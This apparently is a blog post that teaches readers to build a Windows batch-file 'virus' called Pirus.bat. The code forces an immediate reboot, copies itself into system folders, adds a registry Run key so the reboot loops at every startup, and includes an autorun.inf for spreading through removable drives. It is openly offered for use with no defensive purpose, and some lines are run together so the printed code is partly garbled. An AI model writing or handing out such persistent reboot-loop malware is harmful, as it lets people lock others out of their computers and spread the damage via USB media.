Requirements:
-Computer
-Notepad
-Working Folder Option (to uncheck the choice “Hide Extension for known file type” so you can rename the text document to Batch)
-Working Mind
Step 1:
Make a new notepad document and fill this:
@echo offshutdown -r -f -t 00
It’s Simple, the function is to Restart the computer in 00second
You can change it to shut down by change the value “-r” above to “-s” w/o quote
Or Log off with “-l”
Save, and rename to “restart.bat” w/o quotes.
Step 2:
Make new text again, fill this:
@echo off
copy restart.bat %systemdrive%\/ycopy restart.bat %systemdrive%\WINDOWS\/ycopy restart.bat %systemdrive%\WINDOWs\system32\/yreg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v Restart /d %systemdrive%\windows\system32\restart.bat/f
shutdown -r -f -t 00
Save to Pirus.bat
The Function is to Copy the restart.bat to the path and run it on start-up.
Step 3(Optional):
You can make an autorun file with this script on notepad:
[autorun]Open=Pirus.batShellexecute=Pirus.bat
Then Save to autorun.inf
No comments:
Post a Comment
Leave your valuable feedback...